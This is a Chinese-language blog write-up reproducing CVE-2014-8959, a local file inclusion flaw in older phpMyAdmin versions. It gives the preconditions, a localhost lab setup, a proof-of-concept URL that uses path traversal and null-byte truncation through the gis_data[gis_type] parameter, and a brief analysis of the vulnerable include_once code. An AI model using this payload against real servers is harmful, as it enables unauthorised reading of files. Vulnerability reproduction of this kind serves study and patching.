phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)

phpMyAdmin4.0.3 下载地址http://pan.baidu.com/s/1dEYo9zj

利用条件:

1.登录phpmyadmin后台

2.需要截断

 

满足第二个条件  php版本必须 <5.3.4 

phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)_第1张图片

 

 

搭建环境

我们在www目录下放置phpinfo.txt 和 phpadmin4.0.3

phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)_第2张图片

phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)_第3张图片

 

POC:http://localhost/phpmyadmin4.0.3/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00

 

phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)_第4张图片

 

phpmyadmin为了防止CSRF加入了token 所以需要把登录时的token放到POC里(URL里就有)

phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)_第5张图片

成功包含。

 

漏洞代码:

     打开phpMyAdmin4.0.3/libraries/gis/pma_gis_factory.php

phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)_第6张图片

接收到 type 参数之后再第33行   转换成小写并赋值给了 type_lower ,并在下面直接拼接成路径进行include_once

 

factory函数在  phpMyAdmin4.0.3/gis_data_editor.php处被调用

phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)_第7张图片

$_REQUEST['gis_data'] 获取到gis_data

判断$gis_data['gis_type']是否已经存在

赋值给 geom_type,并传入了PMA_GIS_Factory::factory函数

综上: 获取$_REQUEST['gis_data']['gis_type']并拼接到include_once中,造成任意文件包含

 

 

你可能感兴趣的:(漏洞利用)